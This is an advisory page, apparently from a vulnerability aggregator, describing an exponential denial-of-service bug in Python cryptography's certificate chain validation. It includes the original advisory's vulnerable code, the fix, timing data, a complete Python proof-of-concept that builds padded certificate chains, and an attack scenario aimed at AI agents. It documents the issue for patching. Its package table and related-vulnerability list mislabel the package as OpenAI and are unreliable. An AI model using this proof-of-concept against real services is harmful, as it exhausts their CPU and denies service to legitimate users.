CVE-2026-69249: cryptography: exponential DoS in cert chain validation
GHSA-jwv3-5hgf-82ww HIGH CISA: TRACK*The Python `cryptography` library's certificate chain builder recursively re-evaluates duplicate self-signed CA certificates without de-duplication, so an attacker-supplied chain padded with repeated copies of the same CA can push validation time from milliseconds to over 5 seconds — an exponential blowup discovered by Trail of Bits' Codex-assisted audit under OpenAI's Patch The Planet program. This matters because `cryptography` sits underneath TLS/mTLS handling for a huge share of the Python AI stack (311 tracked downstream dependents), so any service that verifies client certificates or validates chains from untrusted input — inference APIs, agent tools that fetch external URLs, RAG connectors — inherits the exposure. The absolute exploitation signal today is modest: EPSS is 0.19%, CISA's SSVC decision is TRACK_STAR (not immediate action), it's not in KEV, and there's no public exploit or Nuclei template, so this is a resource-exhaustion nuisance rather than an active-exploitation emergency. Patch to `cryptography` 49.0.0 or later, and if you validate client certificates on any public-facing or agent-facing endpoint, watch for anomalous CPU spikes or slow TLS handshakes correlating with repeated-CA certificate chains as an interim detection signal.
What is the risk?
High-severity-labeled but availability-only: correctness of validation is unaffected, so there is no path to authentication bypass or data compromise — only CPU exhaustion during chain building. Exploitability is currently low in practice (EPSS 0.19%, no KEV listing, SSVC TRACK_STAR, no public exploit or scanner template), but the bar to weaponize it is low for anyone who can generate a certificate chain (well-documented PoC exists in the advisory) and can reach a validation code path with attacker-influenced input — e.g. mTLS client-cert endpoints, or code that calls the verifier on externally supplied chains. The real risk driver is blast radius: 311 downstream dependents and 12 other CVEs already logged against this package mean the exposure surface is broad even though this specific bug is narrow.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| OpenAI Node | pip | >= 42.0.0, <= 48.0.0 | 49.0.0 |
Do you use OpenAI Node? You're affected.
How severe is it?
What should I do?
1 step-
1) Upgrade
cryptographyto >= 49.0.0, which tracks valid issuers and skips already-seen candidates before recursing, eliminating the exponential path. 2) Audit transitive dependencies — many AI frameworks (langchain, transformers, requests-based SDKs, agent tools) pull incryptographyindirectly, so apip list/pip-auditsweep across all AI services is needed, not just direct requirements. 3) For services accepting client certificates (mTLS) or verifying externally supplied chains, add a request-level timeout around TLS handshake/validation so a single slow validation can't tie up a worker indefinitely. 4) Detection: monitor for TLS handshake latency outliers or CPU spikes coincident with certificate validation, particularly on any public-facing mTLS endpoint or outbound-fetching agent tool.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-69249?
The Python `cryptography` library's certificate chain builder recursively re-evaluates duplicate self-signed CA certificates without de-duplication, so an attacker-supplied chain padded with repeated copies of the same CA can push validation time from milliseconds to over 5 seconds — an exponential blowup discovered by Trail of Bits' Codex-assisted audit under OpenAI's Patch The Planet program. This matters because `cryptography` sits underneath TLS/mTLS handling for a huge share of the Python AI stack (311 tracked downstream dependents), so any service that verifies client certificates or validates chains from untrusted input — inference APIs, agent tools that fetch external URLs, RAG connectors — inherits the exposure. The absolute exploitation signal today is modest: EPSS is 0.19%, CISA's SSVC decision is TRACK_STAR (not immediate action), it's not in KEV, and there's no public exploit or Nuclei template, so this is a resource-exhaustion nuisance rather than an active-exploitation emergency. Patch to `cryptography` 49.0.0 or later, and if you validate client certificates on any public-facing or agent-facing endpoint, watch for anomalous CPU spikes or slow TLS handshakes correlating with repeated-CA certificate chains as an interim detection signal.
Is CVE-2026-69249 actively exploited?
No confirmed active exploitation of CVE-2026-69249 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-69249?
1) Upgrade `cryptography` to >= 49.0.0, which tracks valid issuers and skips already-seen candidates before recursing, eliminating the exponential path. 2) Audit transitive dependencies — many AI frameworks (langchain, transformers, requests-based SDKs, agent tools) pull in `cryptography` indirectly, so a `pip list`/`pip-audit` sweep across all AI services is needed, not just direct requirements. 3) For services accepting client certificates (mTLS) or verifying externally supplied chains, add a request-level timeout around TLS handshake/validation so a single slow validation can't tie up a worker indefinitely. 4) Detection: monitor for TLS handshake latency outliers or CPU spikes coincident with certificate validation, particularly on any public-facing mTLS endpoint or outbound-fetching agent tool.
What systems are affected by CVE-2026-69249?
This vulnerability affects the following AI/ML architecture patterns: model serving, agent frameworks, RAG pipelines.
What is the CVSS score for CVE-2026-69249?
No CVSS score has been assigned yet.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0029 Denial of AI Service AML.T0034.001 Resource-Intensive Queries AML.T0049 Exploit Public-Facing Application Compliance Controls Affected
What are the technical details?
Original Advisory
### Summary When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission. ### Details The core issue arises in the recursive nature of `build_chain_inner`, which does not de-duplicate against previously analyzed candidates. ```python fn build_chain_inner( &self, working_cert: &VerificationCertificate<'chain, B>, current_depth: u8, working_cert_extensions: &Extensions<'chain>, name_chain: NameChain<'_, 'chain>, budget: &mut Budget, ) -> ValidationResult<'chain, Chain<'chain, B>, B> { if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) { name_chain.evaluate_constraints(&nc.value()?, budget)?; } // Look in the store's root set to see if the working cert is listed. // If it is, we've reached the end. if self.store.contains(working_cert) { return Ok(vec![working_cert.clone()]); } // Check that our current depth does not exceed our policy-configured // max depth. We do this after the root set check, since the depth // only measures the intermediate chain's length, not the root or leaf. if current_depth > self.policy.max_chain_depth { return Err(ValidationError::new(ValidationErrorKind::Other( "chain construction exceeds max depth".into(), ))); } // Otherwise, we collect a list of potential issuers for this cert, // and continue with the first that verifies. let mut last_err: Option<ValidationError<'_, B>> = None; for issuing_cert_candidate in self.potential_issuers(working_cert) { // A candidate issuer is said to verify if it both // signs for the working certificate and conforms to the // policy. let issuer_extensions = issuing_cert_candidate.certificate().extensions()?; match self.policy.valid_issuer( issuing_cert_candidate, working_cert, current_depth, &issuer_extensions, ) { Ok(_) => { match self.build_chain_inner( ``` A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run. ```rust let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new(); for issuing_cert_candidate in self.potential_issuers(working_cert) { . . . Ok(_) => { if seen_valid_issuers.contains(&issuing_cert_candidate) { continue; } seen_valid_issuers.push(issuing_cert_candidate); match self.build_chain_inner( issuing_cert_candidate, // NOTE(ww): According to RFC 5280, we should only ``` In testing, this fix removed the exponential blowup without breaking apparent correctness. ``` duplicates,max_depth,result,seconds 1,7,rejected,0.000464 -> 1,7,rejected,0.000667 2,7,rejected,0.025154 -> 2,7,rejected,0.001229 3,7,rejected,0.489924 -> 3,7,rejected,0.001619 4,7,rejected,4.309403 -> 4,7,rejected,0.002144 3,8,rejected,1.468193 -> 3,8,rejected,0.001811 4,8,timeout>5s, -> 4,8,rejected,0.002410 5,7,timeout>5s, -> 5,7,rejected,0.002640 6,6,timeout>5s, -> 6,6,rejected,0.002829 ``` ### PoC The following script benchmarks processing times for malicious cert chains. ```python import datetime import multiprocessing import time import cryptography from cryptography import x509 from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID from cryptography.x509.verification import ( DNSName, PolicyBuilder, Store, VerificationError, ) NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc) TIMEOUT = 5 CA_KEY_USAGE = x509.KeyUsage( digital_signature=True, content_commitment=False, key_encipherment=False, data_encipherment=False, key_agreement=False, key_cert_sign=True, crl_sign=True, encipher_only=False, decipher_only=False, ) EE_KEY_USAGE = x509.KeyUsage( digital_signature=True, content_commitment=False, key_encipherment=False, data_encipherment=False, key_agreement=False, key_cert_sign=False, crl_sign=False, encipher_only=False, decipher_only=False, ) def name(common_name): return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)]) def base_builder(subject, issuer, public_key, serial): return ( x509.CertificateBuilder() .subject_name(subject) .issuer_name(issuer) .public_key(public_key) .serial_number(serial) .not_valid_before(NOW - datetime.timedelta(days=1)) .not_valid_after(NOW + datetime.timedelta(days=30)) ) def make_ca(common_name, serial): private_key = ec.generate_private_key(ec.SECP256R1()) subject = name(common_name) cert = ( base_builder(subject, subject, private_key.public_key(), serial) .add_extension(x509.BasicConstraints(ca=True, path_length=None), True) .add_extension(CA_KEY_USAGE, True) .add_extension( x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()), False, ) .sign(private_key, hashes.SHA256()) ) return private_key, cert def make_leaf(issuer_key, issuer_cert): private_key = ec.generate_private_key(ec.SECP256R1()) return ( base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100) .add_extension(x509.BasicConstraints(ca=False, path_length=None), True) .add_extension(EE_KEY_USAGE, True) .add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False) .add_extension( x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()), False, ) .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False) .sign(issuer_key, hashes.SHA256()) ) def build_material(): looping_key, looping_ca = make_ca("looping self-signed CA", 1) _, unrelated_root = make_ca("unrelated trust anchor", 2) leaf = make_leaf(looping_key, looping_ca) return leaf, looping_ca, unrelated_root def verify_case(duplicates, max_depth, queue): leaf, looping_ca, unrelated_root = build_material() verifier = ( PolicyBuilder() .store(Store([unrelated_root])) .time(NOW) .max_chain_depth(max_depth) .build_server_verifier(DNSName("example.com")) ) start = time.perf_counter() try: verifier.verify(leaf, [looping_ca] * duplicates) result = "accepted" except VerificationError: result = "rejected" queue.put((result, time.perf_counter() - start)) def run_case(duplicates, max_depth): queue = multiprocessing.Queue() process = multiprocessing.Process( target=verify_case, args=(duplicates, max_depth, queue), ) process.start() process.join(TIMEOUT) if process.is_alive(): process.terminate() process.join() print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,") return result, elapsed = queue.get() print(f"{duplicates},{max_depth},{result},{elapsed:.6f}") if __name__ == "__main__": print("duplicates,max_depth,result,seconds") for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]: run_case(*case) ``` ### Impact This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.
Exploitation Scenario
An attacker controls (or man-in-the-middles) a TLS endpoint that an AI agent or RAG connector is instructed to fetch — for instance via a prompt-injected URL, a poisoned tool result, or a malicious API integration. When the vulnerable service validates the presented certificate chain, the attacker's server returns a chain padded with several duplicate copies of the same self-signed CA certificate. The unpatched recursive chain-builder re-evaluates each duplicate exponentially, and a handful of repeated certs is enough to push a single validation past 5 seconds. Repeating this across concurrent connections lets the attacker tie up worker threads/CPU on the AI service's TLS layer, degrading or denying availability of the inference API or agent pipeline for legitimate users — a low-cost, low-sophistication resource-exhaustion attack that requires no credential compromise.
Weaknesses (CWE)
CWE-400 — Uncontrolled Resource Consumption: The product does not properly control the allocation and maintenance of a limited resource.
- [Architecture and Design] Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- [Architecture and Design] Mitigation of resource exhaustion attacks requires that the target system either: The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker. recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Source: MITRE CWE corpus.
References
- github.com/advisories/GHSA-jwv3-5hgf-82ww
- github.com/pyca/cryptography/commit/3763aa79b
- github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582
- github.com/pyca/cryptography/pull/14960
- github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww
- github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml
- nvd.nist.gov/vuln/detail/CVE-2026-69249
Timeline
Related Vulnerabilities
GHSA-vjc7-jrh9-9j86 10.0 9Router: no-auth API leaks keys, chats, provider control
Same package: openai CVE-2026-61539 10.0 Xinference: eval() on LLM output enables RCE
Same package: openai CVE-2024-23827 9.8 Nginx-UI: arbitrary file write via cert import leads to RCE
Same package: openai CVE-2025-61260 9.8 OpenAI Codex CLI: RCE via malicious MCP config files
Same package: openai CVE-2026-19593 9.8 Codex Desktop: Git config filter triggers sandbox-escape RCE
Same package: openai